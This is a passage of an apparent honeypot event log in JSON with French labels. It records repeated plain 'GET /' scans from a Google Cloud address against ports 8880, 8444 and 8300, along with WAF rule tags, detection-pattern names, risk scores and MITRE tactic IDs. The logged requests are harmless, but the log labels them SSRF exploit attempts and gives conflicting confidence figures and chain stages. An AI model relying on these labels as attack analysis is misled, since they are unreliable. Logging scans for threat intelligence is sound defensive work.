confiance 54%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 54 % \u2014 via HTTP\u0022, \u0022confidence_pct\u0022: 54, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 53}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Exploitation\u0022, \u0022risk_score\u0022: 53, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8880, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022CRS-920350\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022CRS-920350\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: null, \u0022correlation_flags_labels_fr\u0022: null, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: null, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8880, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d\u0027exploit)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022target_port_label\u0022: \u00228880 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 54 % \u2014 Score WAF 72 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: null, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploitation\u0022, \u0022label_fr\u0022: \u0022Exploitation\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228880\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true, \u0022behavior_alert_count\u0022: 1, \u0022behavior_priority\u0022: 72}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8880","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":185},{"id":14689498,"ip":"34.19.116.51","ts":"2026-07-31 15:40:15.000000","proto":"tcp","src_port":10818,"dst_port":8444,"service":"http","classification":"ssrf_internal","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u00226bd1b0105b5b25fd63b191c5027235e54945e569\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 216, \u0022payload_entropy\u0022: 5.406704196192061, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8444, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 80.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.3, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 53, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002276713f3e156fd88f9fc60b401c7e42c28a7cb4a9\u0022, \u0022event_fingerprint\u0022: \u0022aba5c1a6a33a0f6964401985080f9f2e5bec224c\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022confidence\u0022: 0.72, \u0022classification_confidence\u0022: 0.72, \u0022precision_score\u0022: 64, \u0022precision_signals\u0022: [\u0022CRS-920350\u0022], \u0022kb_rule_ids\u0022: [\u0022CRS-920350\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 53, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022ssrf_attack\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 54.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u002202d6b34c641580775483763e0613e802\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8444, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 53}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u002250bbe69e9f23a562262038c73353ec2d4963984b\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8444, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8444 \u00b7 (tentative d\u0027exploit)\u0022, \u0022target_port_label\u0022: \u00228444 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 72, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 53, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 53, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8444, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022CRS-920350\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022CRS-920350\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8444, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8444 \u00b7 (tentative d\u0027exploit)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022target_port_label\u0022: \u00228444 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 72 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228444\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8085\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8444","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":216},{"id":14687332,"ip":"34.19.116.51","ts":"2026-07-31 15:39:05.000000","proto":"tcp","src_port":30341,"dst_port":8300,"service":"http","classification":"ssrf_internal","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u00224ef20c60a6c55dbe2a74caafa3ca53cc8e64b6d2\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 216, \u0022payload_entropy\u0022: 5.38250810311718, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8300, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 80.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 5.1, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 55, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002211705a03a5d3575045de7c251519ab0c47172f99\u0022, \u0022event_fingerprint\u0022: \u00229a077907caab4a497af1233b2fd2c59f903dedf1\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022confidence\u0022: 0.72, \u0022classification_confidence\u0022: 0.72, \u0022precision_score\u0022: 64, \u0022precision_signals\u0022: [\u0022CRS-920350\u0022], \u0022kb_rule_ids\u0022: [\u0022CRS-920350\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 55, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022ssrf_attack\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 54.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u00229eff8b84d6564c688282a84f787f0a54\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8300, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 55}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: 